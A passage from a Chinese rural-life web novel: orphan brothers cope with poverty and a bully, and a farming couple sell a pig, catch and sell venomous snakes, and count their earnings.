他衣衫较薄,也全是补丁,左边袖子还有一处扯开的口子没有缝,瞧着有点邋遢。 没有爹娘,爷奶早几年也死了,分家出去的叔伯偶尔能帮衬一点,但人家也有自己的妻儿要顾,只要没遇着什么大事,他兄弟俩平时都要靠自己。 徐瑞儿一个人在家,天晴时上山捡一捆柴火,足够平时做饭烧水,还算过得去,至于洗衣,水太冰了,他捡的柴火还要紧着烧炕,腾不出热水洗衣的。 既费柴火又费水,村里能这样干的人家其实不算多,不少妇人夫郎大冬天都要用冷水洗衣裳,多半趁着天晴时太阳好,但依旧冻得手指红肿,这还算讲究些的,许久才换洗一次也是常见的事。 看到哥哥身影后,徐瑞儿赶忙把院门开了半扇,等人进来后,他立马关上门,门闩也上好。 村里人都知道他俩在裴厌那里放了钱,只要一去那边,人家都能猜到是去要钱的,即便没有人来抢,事关银钱,两人不免谨慎些。 进屋后,徐启儿把干菜放在桌上,说:“兰时哥哥给的,这么多,够吃好几天的。” 干豇豆最多,余下的是马齿菜和灰条菜干子,这几样晒的时候没有切,长长一条,比那些切短的干菜好捆。 徐瑞儿解开麻线,把干菜都放进屋子角落的麻袋里,里头装的都是菜干子,他一个人在家,吃用的东西要是不放在屋里,心里难以踏实。 从怀里掏出那一钱碎银让弟弟看,徐启儿说道:“明天我去清水村看看,杀猪匠那边要是有猪肉,就不用去白水村了。” 一到冬天,肉食都好放,杀一头猪卖好几天不成问题,白水村要是没有,只能往镇上跑。 比起有驴车骡车的,他只有一双脚,去宁水镇得走许久。 “嗯。”徐瑞儿点点头,一想起肉的滋味,他舔舔嘴巴,口水都要下来了。 一斤肉少说也在二十文了,徐启儿想了一下,一钱银子也就是一百文,顶多买五斤肉,也不敢全都花完。 他上个月的工钱已经领了,因正好和之前攒下的钱凑了个整,有点舍不得去动,于是想起了他爹之前留下的银钱,思索再三,还是决定去讨要一钱,用作吃穿,剩下的五钱今年能不用就不用,下个月还会发工钱。 眼瞅着要到隆冬了,徐启儿想给弟弟再弄一件旧衣。 如今瑞儿这一身有点单薄了,里头几件不必说,都是以前的衣裳,即便破了也舍不得丢。 最外头的冬服还是去年他在别人手里买了一身旧衣,托他婶娘给改了改,弄了些芦花芦苇塞进去,也得亏徐瑞儿今年没怎么长个子,衣裳还能穿,不用再改。 至于他的旧衣,也是托伯娘闲时给改大了一点,自己就两身换着穿,要是一身弄得太脏,又没换洗的,东家会嫌弃,没办法把自己的衣裳改给弟弟。 夜里还好,起码能烧炕,白天下雪刮风不想出门,徐瑞儿就缩在炕上,裹上旧被,不至于冻得打寒颤。 只是天稍微晴了,他经常要去捡柴火,不得不出门,这一身衣裳确实不怎么抗冻,他便和其他人一样,将蓑衣穿上,能套几件是几件,以抵御寒风。 徐启儿想了半天后,抬头说道:“这样,明天买上一斤肉,正好我在家,熬半碗猪油,能吃得久一点,刚才回来时,兰时哥哥也这样说。” 一斤肉。 徐瑞儿黑瘦黑瘦的,听见要买这么多肉,眼睛睁大了一瞬,之前买肉都是半斤半斤买。 如今有工钱了,虽然不敢乱花,但冬天能让弟弟稍微吃好一点,也是值得的,徐启儿下了决心,就买一斤。 他又看向徐瑞儿左袖子,说:“明儿我给你缝缝。” “行。”徐瑞儿不怎么在意这个,要是缝衣裳,哥哥不在家,他自己有时挂破了,就找针线随便一缝,只要缝住别开线就好,管不了什么针脚不针脚。 这回袖子破了,是因为和别人打架,下午徐启儿刚回来的已经问过他。 村里的小孩,尤其那些小子们,少不了有几个坏的,凑在一起就更坏。 见徐瑞儿一个人,连爹都没有,哥哥又不在家,在路上碰见了,不是骂就是打,甚至还抢他手里东西,徐瑞儿之前吃过好几次亏,有时跑也跑不过,只能挨一顿打。 要是有心好的大人经过,还能喝骂两句,那几个小子一看大人来,四散就逃了。 徐瑞儿人瘦小,不怎么聪明机灵,从小却有些倔性子在,回回挨打嘴上都很硬气,愣是不服软,被揪着头发让他叫爷爷的时候,他从来没叫过一声,随后便是拳头和巴掌落下来。 挨打的时候总是被推搡在地,衣裳弄会弄脏弄破,打疼了忍过去就好,他自己没钱,又心疼衣裳,后来学会了躲,只要远远看见那几个人,要么绕路要么跟着旁边大人一起走,那几个小子都是再坏,也不敢在大人面前直接动手,顶多追在身后骂他几句。 有时遇到他们故意堵截,那挨打就避不开了,好在这样的次数不多,即便冬天,家家都有活干,小孩也逃不开。 也得亏他姓徐,徐家在小河村是大姓,一直占着里正的位子,里正徐承安和他一家还是血缘亲近的本家,这几个小子再作恶,也不敢真欺负太狠,顶多背着人揍他一顿取乐,掰断手指打断腿这种事不敢做。 其他村子出过这样叫人胆寒的事,别说性子恶劣不堪的半大小子,连大人都有作恶的,欺负人像是他们的天性,随便就可以做到。 而昨天,徐瑞儿上午去山上捡柴火,路上没看见那三个常常欺负他的半大小子,心里松了一口气,没想到在山坡上却遇到了一个。 林驴儿也是往山上去捡柴,不想半路碰到徐瑞儿,好几天没打架,他自觉有点手痒,学着家里干活的大人往掌心吐两口吐沫,搓两下就堵住徐瑞儿,抬手就朝徐瑞儿脑袋上拍一巴掌。 他比徐瑞儿大三岁,跟打小鸡仔似的,一点都没在意。 对他几个,徐瑞儿早恨得牙根痒痒,只是平时双拳难敌四手,一个人根本打不过人家三四个小子。 可这回,只有林驴儿一个。 他脑海里浮现出之前徐明子抢钱,裴厌动手的场景,那一次徐明子倒地之后,他也扑上去厮打甚至上牙咬。 虽然自己瘦小不堪,连裴厌打人时的一拳头都比不上,他还是和林驴儿扭打在一起。 被踹倒在地后,肚皮和胸口生生挨了几脚。 林驴儿嘴里骂的很脏,他从来没想过徐瑞儿这个孬蛋竟然敢还手,甚至真的打到了他,踢了几下心里依旧恼火,抬脚就想踩下去,却被迅速爬起来的徐瑞儿一下子抱住胳膊,逮着他手腕就是一口。 林驴儿尖叫不已,手脚不停扑腾,想把徐瑞儿甩掉,谁知徐瑞儿跟狗一样,咬住就不松口了。 嘴里有血腥味道冒出,林驴儿到底只是个半大小子,也没怎么吃过亏,一边哭一边嚎叫。 徐瑞儿见他丢了胆子,这才松开嘴。 手腕子一圈深深的牙印正在渗血,林驴儿一看见鲜红的血,不知为何,眼前开始发晕,再一瞅徐瑞儿牙上嘴上沾血的模样,他又怕又怒,却不敢再打起来,捂着手腕惊慌失措跑下山。 徐瑞儿被打得浑身都疼,头皮也被拽得生疼,一缕头发都掉了,刚才林驴儿想甩开他,下手很重,眼下看着林驴儿跑掉的身影,他心里有股说不出的痛快,仿佛一下子不害怕了。 之前林驴儿几个打他的时候,他虽然硬气,但心里怎么能不害怕,要不是必须出门捡柴火,他都想一直躲在家里。 捡了柴火回家后,没一会儿,院门口就来了人叫骂,正是林驴儿他阿姆。 院门是关着的,徐瑞儿自己在灶房做饭,对外头的骂声没有任何反应,他家没有大人,出去了说不定还要被打,干脆就闷着不出声。 还是徐家人在外头看了一会儿热闹,说了几句公道话,让林家夫郎领着林驴儿回去,少来闹事,村里谁不都知道林驴儿几个背地里常常欺负徐瑞儿,有时当着大人长辈的面都敢打骂,徐瑞儿挨打的时候可没见他家人出来制止。 林驴儿阿姆自然也是知道的,见儿子被咬成这样,跳着脚在外头骂,他有心想打进去,不就一个小毛孩子,谁还能怕他,但心知不占理,正好徐承安扛着锄头路过,一听事由,眉头就皱起来,看向他俩的目光有些不快,林驴儿阿姆见势不对,骂骂咧咧拽着林驴儿走了,没敢再发难。 今天下午徐启儿回来后,见弟弟脸上有点伤,袖子也是破的,就问了他。 以前徐瑞儿挨了打,就算哥哥回来发现,他不愿说,问多了就说跟人打架了,至于和谁,他一般不张嘴。 徐启儿两三月才回来一次,即便知道他挨打的事,家里没有大人,谁又能给他们撑腰,也是这一次打回去了,才把事情原原本本讲了出来。 知道弟弟一个人过得不好,但徐启儿没办法,为了挣钱,不能常常在家,每次回来也待不了一天半天。 天很快黑了,徐瑞儿惦记着明天买肉,睡下后都在砸吧嘴。 黑暗中,徐启儿睁着眼,有点睡不着,琢磨明天还是去找找叔伯,大人不说,好歹让堂哥堂弟帮忙照看一下弟弟,万一林驴儿几个生了报复的心。 不过再一想,林驴儿他阿姆骂完就走了,今天他回来也没来找事。 他推了推旁边的弟弟,说:“以后要是再有人打你,你就去找大爷爷,告状总比挨打强,要么,看见他们直接就往七爷爷家里跑,肯定不敢追你,我明儿去找二伯再说说。” 他口中的大爷爷正是里正徐承安,在徐家这一大家子,徐承安在兄弟里排行老大。 徐瑞儿擦了擦嘴角,说:“知道了,不过我也不怕他们,再来,照样打回去。” 徐启儿怕弟弟吃亏,人家三个人呢,常常混迹在一起,但又觉得确实该还手,不然以后就一直挨欺负,他只能开口:“打不过就跑,没人笑话你。” “嗯。”徐瑞儿自己心里也有了主意,凭什么白白挨打,就算打不过,也要咬回去,叫他们也疼几下。 兄弟俩说一阵子话,听着外头风声,渐渐就睡着了。 而林家,林驴儿睡在炕上,手腕子用布包着,这两天都不敢乱动,他骂徐瑞儿孬蛋,自己却也怂了,昨天他阿姆领着他去找事,因手腕子生疼,他都没敢出声。 * 因心疼弟弟受了欺负,还常常忍着不说,第二天徐启儿买肉的时候,一狠心再买了两根排骨,回来直接炖了,一根半都进了狼吞虎咽的徐瑞儿肚子,骨头都舍不得扔,再煮煮熬熬,还能出点油水。 东家的杂活还等着他回去干,徐启儿吃过晌午饭,找了一圈自家亲戚后,又嘱咐两句弟弟,这才走了。 再怎么,想把日子过下去,就得去挣钱。 * 天上云厚了,太阳时隐时现,阳光也黯淡。 再过两天就进到冬月,见天色不好,裴厌就说趁今天还没起风下雪,再去镇上卖一头猪。 猪养的多就是为卖,顾兰时跟他一起往猪圈走,问道:“前天去镇上,路好走吗?” 一头猪可比几个蛋筐重多了,要是碰到泥泞处,裴厌一个人的话,要在前头拉车,后面就没人帮着推。 裴厌说道:“泥泞段不多,一路上了官道到镇子,路都好走,没什么难。” 昨天又晒了一天,想来应该会好点,顾兰时放下心。 两人走到猪圈前,这个看一眼,那个再瞅瞅,决定最大最肥的一头快到年关时再卖,那时候买肉的人更多,肉价说不定还会再高。 抓猪一回生二回熟,顾兰时也跃跃欲试,这回上了手。 在裴厌用绳圈套住猪脖子勒住后,他两步冲上前,手里的绳圈已经打好了,直接套住猪两只前腿,两手用力抽紧直接绑住。 “再缠两圈。”裴厌见猪挣扎得厉害,直接大力用手里的绳子另一端快速缠住猪嘴,以防急了咬人。 配合之下,很快猪前后腿都被绑住,无法站立,被放倒在地上。 裴厌取来长棍,和上回一样,两人一起把猪抬出猪圈。 “怎么了?”顾兰时见他在前面停下,不由问了句。 “先放在这里,我去拉板车,直接抬上车。”裴厌说着,就放下了手里的棍子。 从这里抬去后院,以顾兰时的身板,要歇两三回,又沉又累的。 等他拉了空板车过来,合力把猪抬上车后,直接从牲口棚里牵出毛驴,套好车后,他在前面牵着毛驴,顾兰时在后头帮着推推车,果然省力多了,没有像上回那样,累得哼哧直喘气。 从通道出来后,顾兰时跑到前面开院门取门槛,顺便送裴厌出门,边走边笑着说:“那天咱俩只顾着算钱,还说五头猪能再卖十两,都忘了咱们自己还要杀一头,这下就只有八两了。” 他看着裴厌,伸出两根手指玩笑道:“这回卖了猪,二两银子可得都交我手里。” 裴厌脸上笑容一下子变大,点头应道:“好,我记下了。” 第174章 天阴晴难料,担心下雪路难走,卖了一头猪,但过了两天,太阳又出来了。 顾兰时把枕头拿出来晒,也就晒晌午这一个多时辰,过午就收回去。 裴厌把西屋土炕上的稻草挑出来,在谷场那边铺平了晾晒,十五只母鸡被关进了笼子,没让从屋里出来。 下雪觉得太冷,不下雪又操心来年旱涝收成,可老天爷的事又怎么能说准。 顾兰时坐在墙角背风处晒太阳,拿了针线和布料,打算缝两条亵裤,今年不用做新衣裳,有去年的新衣,一个补丁都没有,依旧能当新衣穿,鞋子也是一样,去年的冬鞋厚实暖和,洗净了穿上,体体面面去走亲戚正合适。 昨天他见还有好布料,心想一人缝一条小衣,再缝一双布袜,过年时从里到外全是新的了。 裴厌的亵裤明显更费布料,已经成亲快两年,他早已看惯,没什么羞涩的,上午剪裁完了后,还喊裴厌过来在腰围比了一下。 谷场那边,裴厌把木叉靠在墙上,拎了竹筐去抽稻杆,要给母鸡再把土炕铺好,垫一层稻草,即便炕面太热,也不会烫的母鸡到处乱窜。 忙完之后,见顾兰时坐在那边,他拎了个板凳过去。 身旁多了个人,离得很近,顾兰时早已习惯,继续手上的活,问道:“晚饭想吃什么?” 裴厌想了一下,说:“包子,烤着吃,再切俩咸鸭蛋,煮半锅菘菜肉片子疙瘩汤。” 前天顾兰时觉得包子成天热一热吃,应该换个花样,于是就把锅烧热,把包子放在锅底,烙了一会儿出来,就和烤的差不多,外皮脆脆的,别有一番味道。 菘菜肉片子汤也不难,菘菜叶子切成丝,再切些肉片,把肉炒了煮开,再把搅好的疙瘩面糊还有菘菜丝倒进去,煮熟就行了,热乎乎一碗,很适合天冷了吃。 “行,今天再打个鸡蛋进去,家里没豆腐了,吃木耳吗?”顾兰时问道,见裴厌点头,他又说:“那你抓一把木耳,用热水泡上。” 裴厌起身,按他的话泡了些木耳,还顺手抓了一把干黄花菜,一起泡了进去。 离傍晚吃饭还得两个时辰左右,他又过来坐下,眼睛随着顾兰时手上的针线移动,开口道:“我想去趟山上。” “去砍柴?”顾兰时没有停下手里的活,柴火冬天贵,弄一车去镇上卖,能得大几十文呢。 裴厌说道:“不是,去找找蛇洞,找不到就挖点冬笋回来。” 顾兰时手一顿,抬头看向他,说:“毒蛇。” “我会小心,要真遇见烈性的,挖开就先拍死,钱是少一点,但比卖柴火强。”裴厌认真说道。 见顾兰时面带犹豫,他又开口:“一架织布机子就要三两银子,徐木头那边已经在做了,等做好就要给他结账,前三季挣的钱先不提,冬天按三个月来算,鸡蛋咸鸭蛋能挣到三两,手里就只剩卖猪的九两,还是没落下太多,明年还想再起一间房,能早早备下最好。” “我也不强求,能找到最好,找不到就回来了。” 毒物危险,但确实价钱高,叫人心痒手痒,踏踏实实在地里干一年活,除了口粮以外,能稳稳当当攒下一点钱,大财是不用想了,毕竟他俩只有四亩田和外面那一片菜地。 今年冬天之所以一直没上山去挖蛇洞,一方面是下雪了,另一方面则是家里母鸡要好生伺候,后院猪也比去年多,又总有别的事绊脚,没找到机会。 夏天抓蝎子,冬天还要找毒蛇,顾兰时轻轻叹一口气,也就裴厌胆子这么大,从来不畏惧毒物。 知道劝不住了,他露出笑脸,说:“那行,记得带上药,离远点,要是大蛇,直接就拍死。” 蛇洞隐蔽,得带铁锨上去,找到之后好挖开,手里算是有个趁手的家伙,今年夏天抓蝎子时,裴厌又去镇上买了些解毒驱虫的药粉,那时候没用完,还在屋里放着呢。 见他点了头,裴厌一颗心落在实处,抓蛇的心再热,他也知道分寸,为挣一点钱,不至于冒太大险。 而且对危险他从小就极为敏锐,后来又去了兵营里,打仗时要是没有这点本事,再狠也不一定能活下来。 这些没必要对顾兰时讲,他自己心里有数就行。 趁着天色还早,裴厌起身去收拾家伙,出门时顾兰时跟在后头又嘱咐了几句,找不到就早早回来,天黑得早,山里路又难走,回来有疙瘩汤呢。 再次保证自己不会涉险,裴厌一步三回头,等顾兰时总算回去后,才笑着往山坡那边走。 第175章 前山常有人采挖野菜野草,裸露出来的黄土更多,再往深里走,脚下是成片枯黄的草丛,没有绿意生息支撑,不少横七竖八伏倒在地面。 也有始终竖直高立的一丛丛荒草枯枝,却也没了夏天叫人想象里头是不是藏了蛇虫的威慑。 地上有很多枯叶,风吹日晒雨淋,踩过之后便碎成了渣,落叶深厚的地方踩起来较软。 山林萧索,树上光秃秃的,只剩枝干,放眼望去没什么生机。 这回上山,裴厌边走边打量四周,时而用捡来的长树枝扒拉扒拉被枯草落叶遮盖的隐蔽处,见着一些土洞口就过去看看。 今天上来没带锄头,只带了一把长铁锨,背上竹筐里除了麻袋、药粉以外,还有一把卡蛇的木叉,以及一根顶端绑了布套的木棍。 遇到挣扎厉害的蛇,木叉叉不住的话,要是来不及拍死,得先把蛇头直接套上蒙住,万一是毒蛇,性子又烈的话,没咬到人也会把毒液喷出来,有布套挡着,危险会降低许多。 他听人说过,捕蛇人有各种工具家伙,比他手里这几样更靠谱些,但一切东西的使用,都要眼疾手快胆大心细,他没指着能抓多少活的,要是有不对,直接抄铁锨全部拍死就好。 而最需要担心的,是毒蛇冷不丁会喷毒液,胆子再怎么大,都得谨慎些。 遇到辨别不出来的洞口,只能挖几下。 寻寻觅觅半天,蛇洞没找到,倒是叫他挖到个兔子洞。 意识到是兔子洞后,裴厌立马抬头,目光在山坡周围扫视一圈,发现一簇枯草晃动,他眼睛很尖,看见了一闪而过的灰毛影子,心里道一声可惜的同时,抬脚就迈了出去。 两只野兔被撵的乱窜,山坡崎岖难走还有各种树木枯草绊脚,对人很不利,一个不小心就容易摔倒受伤,却十分利于它们逃跑。 意识到追不上,裴厌停下脚步,自己没忍住笑了下,转身回去,捡起地上的长铁锨和竹筐继续往山坡上走。 都说狡兔三窟,兔子窝常常有两个以上的洞口,一旦受惊,就会从另外的洞口跑掉。 今天他一个人上山,没有能帮忙的人手,自然不好抓,要是多两个人,找到所有兔子洞后提前守好堵住,再用烟熏,多半都能抓住。 村里一些老少爷们会用这一招抓野兔,带上狗就更好抓,只要让狗守在留出来的洞口,等野兔子受惊逃出来,狗撵上就是一口。 之前顾兰瑜顾兰兴几个还喊他一起,只是那几天忙,没法撂下家里的活。 裴厌边走边想,下回来还是把弹弓带上,说不定能再挖到兔子洞。 * “汪汪汪——” 灰灰和灰仔冲着角落里的麻袋不断吠叫,在看见里面长条状蜿蜒的东西动了以后,叫声更厉害了。 大黑耳朵尖尖竖起,尾巴一动不动,警惕地看向麻袋。 许是天性直觉,知道麻袋里的东西有危险,三只狗哪怕去年见过抓回来的毒蛇,依旧没放下戒心。 顾兰时只敢在十几步之外看一眼装蛇的麻袋,就算知道里面的毒蛇能卖很多钱,胆子也大不了。 这和毒蝎不一样,蝎子小,没有毒蛇那么危险,壮壮胆气就抓到了,况且用的还是筷子,不必上手。 “天晚了,明天再去镇上。”裴厌洗干净手起身,脸上带着止不住的笑意。 今天虽然没有抓到兔子,但后边运气好,一连挖了两个蛇洞,其中有两条金环一条蝮蛇,一条就能卖到五两,可惜有一条金环被他拍死了,不知道价钱如何,最起码,活着的两条毒蛇,十两银子有了。 去年也是这样,三条毒蛇蛇胆占了大头,去年见过这场面,按理来说不会这么喜形于色。 让他这样高兴的,则是因为麻袋里一条粗壮的五步蛇,还活着。 按去年在药铺打听的,冬天的蛇胆质量本就是一年中最好的,这条五步毒蛇又如此粗壮,想来该是条雄蛇,蛇胆自然要大一些,价钱绝对在八两银子以上了。 要说雄蛇雌蛇,其实也能辨认,只是这条五步蛇性子凶烈,他捉的时候很谨慎,和毒蛇游斗了一番后才得手,活着才好卖钱,不至于为了辨认公母,再去卡着七寸冒险。 顾兰时把布巾递给他擦手,点头道:“嗯,不着急。” 他看一眼墙角的麻袋,袋口虽然扎紧了,心里还是有点打鼓,说:“今晚让大黑睡在堂屋,万一蛇跑出来,从什么缝儿里溜进屋子,狗肯定比咱们发现得早” 裴厌笑了下,麻袋他检查过了,口扎的很紧,袋子也没有破烂漏洞,应该没什么问题,不过见顾兰时害怕,他把布巾搭在木架上,说:“好,等会儿吃了饭,我把狗窝里的麻袋取出来。” 天冷了,晚上直接让狗睡在地上太凉,有麻袋垫着会暖和些。 顾兰时稍稍放心,去灶房端了饭出来。 两人坐下吃饭,包子外皮烤的焦黄,咬一口脆脆的,见疙瘩汤里有豆腐丁子,裴厌端起碗先喝一口,说:“去买豆腐了?” 顾兰时咽下嘴里的包子,点头道:“嗯,你走了我坐不住,回去转了转,正好娘要去买豆腐,我就跟着一起去了,买了六块回来,够吃好几天的。” “明天去镇上,要买什么吗?”裴厌问道。明儿是去卖蛇,顾兰时肯定不会跟着。 想了一下,顾兰时说:“肉上回在杀猪匠那里买了,没什么要买的……对了,明天把香油罐子提上,回来打半罐子香油,回来一人蒸碗鸡蛋羹吃。” “好。”裴厌答应道,又说:“不急,你慢慢想,还买什么再说。” “嗯。”顾兰时咬一口烤包子,心思先落在饭菜上。 吃过饭以后,裴厌想起那条五步蛇,难掩心中兴奋,有心想把五步蛇单独装进一个麻袋。 只是这样一来,得先把麻袋解开,里头还有其他活着的毒蛇,在院里乱窜的话,顾兰时不知道要吓成什么样。 再看一眼平时猴急毛躁的灰灰和灰仔,它俩还真有可能上嘴去咬毒蛇,于是歇了这个心思,五步蛇长得最大,毒性也烈,只有它咬其他蛇的份儿。 * 半上午,太阳暖和些了,裴厌套了驴车出门。 顾兰时提着针线篮子和他一起进了村,见自家门开着,他和裴厌说一声就进去了,没有站在门口送,车上有半麻袋长蛇,他是能避就避。 “兰哥儿,我看姑爷过去了。”苗秋莲正巧提了椅子往院里走,打算坐院里晒晒太阳,抬头见看见顾兰时走进来。 顾兰时笑着说:“嗯,去趟镇上。” “做什么去?”苗秋莲没事,闲问了一句。 不好在亲娘面前扯谎,顾兰时走近以后,声音略低了些,说:“昨天上山抓了几条蛇,去药铺里卖。” 他说着,自己往堂屋走去拿椅子,又道:“顺便,再打一斤香油回来。” “香油?”苗秋莲被这两个字提醒,连忙起身去灶房,说道:“快喊住姑爷,家里也没香油了,正好,让他捎上。” 顾兰时跑着出了门,一看裴厌没走出多远,在后面喊道:“裴厌!” 驴车停下,裴厌回头,问道:“怎么了?” 苗秋莲跑出来,不等顾兰时开口,她一边快步疾走过去,一边笑着说:“嗐,没什么要紧的,听兰时说你去镇上,前几天就要说打一斤半斤,家里忙,没顾上。” 裴厌让毛驴停在原地,自己三两步过来,接过苗秋莲手里的罐子,笑道:“知道了岳母,要多少?” 苗秋莲想了下,说:“半斤,算了,打上一斤,吃久一点。” “好。”裴厌答应着,见她再没有别的吩咐,道一声转身就走了。 见裴厌走远,苗秋莲在孙家门口说闲话,顾兰时自己先进了院子,竹哥儿一边勾鞋一边从屋里出来。 他笑道:“这时候才起?这么懒。” 竹哥儿帮他把椅子拎出来,说:“哪有,我早就起了,刚才觉得冷,就上炕去做,听见你声音,这不又出来了。” “外头有太阳呢,晒一晒。”顾兰时提起放在地上的针线篮子,坐下后又问:“霜儿好些了?” “全好了,早起说想回娘家一趟,狗儿哥就赶车带她回去了。”竹哥儿高举两条胳膊伸了个长长的懒腰,放下后轻吐一口气,比刚才精神多了。 “没个正形,叫人看见不像样子。”顾兰时笑骂一句。 “这不是在家里,谁能看见。”竹哥儿满不在乎。 顾兰时拿起给裴厌做的鞋底,问道:“爹呢,串门子去了?” “嗯,都出去好一会儿了,不知道在谁家。”竹哥儿见他干活,自己也去屋里取了针线。 “补手帕?”顾兰时看一眼,顺嘴问道。 “嗯,昨天抱柴火,帕子拿着手里,不小心被柴火勾住,挂扯了。”竹哥儿一边说一边用指腹搓了搓线头,对准针孔,很快就穿了进去。 太阳好,许多人家门前都坐了人,他娘始终没回来,偶尔能听见从外面传来的大笑声。 他俩在家说一阵子闲话,没一会儿,外头刘桂花几个妇人夫郎凑在一起,商量着要跳大绳,人少了没劲,于是呼朋唤友。 邻里附近的男女老少都往这边瞅,刘桂花从家里拿了一根很长的麻绳,商量了一番,决定轮换着抡大绳,她和刘娥先来。 甩着胳膊把麻绳抡圆,“啪啪”打在地面,年轻夫郎和媳妇脸皮薄,你推我搡,都不敢头一个进去,有汉子往这边看呢。 抡大绳费力气呢,刘桂花笑骂道:“嗐,往后退做什么,一个个上不了台面,快,进去!” 方金凤最近没做媒,在家闲着,一看大伙儿都不去,她心痒,干脆往前头挤了挤,笑道:“都怕丢了老脸,既如此,那我先来,省得你们害臊。” 她说着,头跟着大绳抡起的速度点了两下,瞅准机会,一下子就跳了进去,随着大绳一下下落地起跳。 其他人看见领头的,不再互相推扯了,苗秋莲本来在不远处跟人说闲话,一看这动静,也赶忙跑来。 麻绳抡打在地上,不免带起尘土,但没人在意,大伙儿高高兴兴玩耍。 连看了一阵子的老少汉子也心痒,他们不好随便凑过来,另起了一摊子,在一处空旷地也跳起大绳。 顾兰时和竹哥儿见外面那么热闹,出来看了一会儿,见汉子都聚在村子那边,互不打搅,一前一后跟着进去跳。 有人脚下没来得及,绊住了绳子,大伙儿都要惋惜一声,随后换了抡绳子的两个人继续玩。 像这样的玩耍,人多更热闹,前面的跳几下就出去,后面的跟着进来,就算有不想出去一直跳的,见大伙儿都如此,就不好意思占着位儿。 甭管平时交情怎么样,至少眼下没什么矛盾,就算有互相看不惯的,互不搭理就是了,旁人都忙着找乐子,自然也顾不上这些弯弯绕。 第176章 即便大人,一旦没什么顾忌玩起来,时辰同样过得很快。 顾兰时刚从大绳底下跳出来,后背都是热汗,一抬头就看见不远处裴厌牵着毛驴回来了。 和村里人玩高兴是高兴,但眼下有更要紧的事。 苗秋莲在另一边和人说话,忙得什么似的,他扭头拉着竹哥儿往家门口那边走。 等裴厌到跟前后,取了板车上的香油罐子递来,说:“打好了,一斤。” 顾兰时接过,又递给竹哥儿,叮嘱道:“回去放好,等会儿记得跟娘说香油打回来了。” “好,知道了。”竹哥儿脸蛋红扑扑,他惦记着玩儿,提了香油罐子就往院里走。 因前面在抡大绳,毛驴有点害怕,裴厌摸了摸毛驴前额,牵着它避开人群,沿着路边边往前走。 苗秋莲这才看见他俩,哎呦一声拍一下手,从人堆里出来,说:“姑爷回来了,我都没看见,如今香油多少钱一斤?” 裴厌看一眼顾兰时,说:“贵了,七十文。” 苗秋莲一模怀里,却没装荷包,笑道:“等会儿让竹哥儿送过去。” “不用,一点香油。”裴厌推了推,他不打算要这钱,毕竟顾兰时亲爹娘,孝敬些东西是应该的。 “兰时他娘,快。” 有人招呼她跳进去,苗秋莲连忙又往那边走:“等闲了我再过去啊。” 见她这么忙,顾兰时笑一下,说:“行行。” 身后大绳“啪啪”打在地上,毛驴脚下快了点,他俩没有喝止,跟着一起快步出了村。 走远之后,后头说笑声依旧,但小了很多,毛驴这才平静下来。 顾兰时笑着开口:“这钱爹娘肯定会给,他俩最不爱占别人便宜,尤其小辈,七十文呢,你不用想别的,这也没什么,你不好接钱,我来就是。” 相处这么久,裴厌大概知道岳丈岳母什么性子,只得点点头:“嗯。” 顾兰时心里其实有点着急,还是压下了,周围没有人,但哪有在外头算银钱的,更不好掏出来,等回家以后,关上屋门,就能慢慢数。 两人心照不宣,脸上都挂着笑意。 和顾兰时的着急不同,裴厌步伐轻松,这下一架织布机子和一间房屋的钱有了,还大有富余。 * 狗儿叫猪儿哼,房里的人乐开怀。 炕褥上,裴厌把沉甸甸的钱袋倒了个底朝天,所有碎银子都落在眼前,他捡走散在其中的铜板放在旁边。 每次去镇上无论做什么,顾兰时都会给他带二三十文,出门在外要是没钱,心里哪能踏实。 今天出去要打香油,因价钱会浮动,就多带了些。 他笑着把整银碎银都往顾兰时那边推,说:“一共二十三两七钱,五步蛇最贵,十两,活的金环和蝮蛇一条价值五两,死了的一条金环只有二两。” 二十三两,比去年还多。 顾兰时看着眼前白花花的银子,眼睛都有点发直,好久没挣过这么大一笔钱了,他摸了一个五两的银锭在手里摸来摸去。 裴厌忍不住说道:“其他蛇没有那么名贵,死蛇药铺的人直接剖了,按掏出来的蛇胆算钱,大的三钱,有两个,小的二钱,只有一个,还有一条掏出来后是水胆,无法入药,人家不要,咱们也用不上,就扔了。” “另外还有三条活蛇,一条按三钱卖的,跟去年价一样。” 他说着,把另外一块五两的整银又放进顾兰时手里,又道:“大头是二十二两,剩下那些一共一两七钱。” 他俩可以说做了两年卖菜卖鸡蛋的小生意了,算这点账很容易,不过这会儿,顾兰时因为太高兴,根本算不过来。 听裴厌把账算的明明白白,他干脆也不想了,手里整整十两银子,沉甸甸的。 至于炕上那些,全是一些碎银,大大小小,一两的也有,五钱的也有,都是绞下来的,不像整锭银子这么圆润漂亮。 裴厌又说道:“称的时候我都看过了,药铺又是老铺子,断不会做那种坑蒙拐骗的事。” “嗯。”顾兰时对他很放心,抬眼笑盈盈的。 “卖了蛇,我才去打香油,出门时只带了九十文,就拿了卖蛇的一钱碎银出来,两斤油一百四十文,还剩下五十个铜板。”裴厌老实交代道。 顾兰时开口:“那这些就是二十三两六钱。” “嗯。”裴厌点头。 “怪道是富贵险中求。”顾兰时看着银子叹道,一年种菜卖鸡蛋比起这些,只是小钱。 他很快又自己想通,小钱怎么了,要不是靠种这些菜养这些母鸡,他俩一年的吃穿用度还不知在哪里,一年间辛苦些,除了揽住自家的吃喝,还能小赚一点。 大钱也好小钱也罢,都得攥住,不能见了大的就把小的抛在脑后,小钱才更安稳呢。 听他感叹完,裴厌笑着开口:“二十两,也不是什么大富贵大冒险,过几天我再去转转,看能不能再抓几条。” 再爱财,顾兰时也是清醒的,说:“我看还是多歇歇,养足了精神头再说,抓一回蛇不容易,毒蛇性子又烈,要万分小心,如此,自然耗神,可不能大意。” 他知道裴厌想多赚钱,只能换个法子劝劝,他俩如今养猪养母鸡顺了,到年底能挣十几两呢,其实日子是不愁的。 “嗯。”裴厌笑着伸手,摸了摸他脑袋,见他脸颊因刚才跳大绳,白里透红,这会儿热意还未消散,没忍住又摸了几下脸蛋,他手很轻,没有掐或用力,又怕白天顾兰时害羞,很快就收了手。 把手里的银锭放下,顾兰时目光黏在银子上,有些恋恋不舍,说:“这会儿没事,咱俩先把要花的钱拨出来,余下的全都放好。” 裴厌笑了下,开口:“织布机子三两。” 顾兰时拿起大的银块,问道:“这是一两的?” 裴厌接过,在手里掂了掂,点头道:“应该是。” 把这一块碎银放在旁边,顾兰时又拿起两块差不多大小的碎银,说:“这俩应该都是一钱的。” 他应道:“嗯,称的时候一起放在戥子盘上,不过伙计说了,这几天药铺里收的碎银,小的都是一钱,没有更低的。” 很快,顾兰时把织布机的三两放好,又抬头问道:“盖一间屋子,黄泥木料咱们是自己弄,还是找人买?” 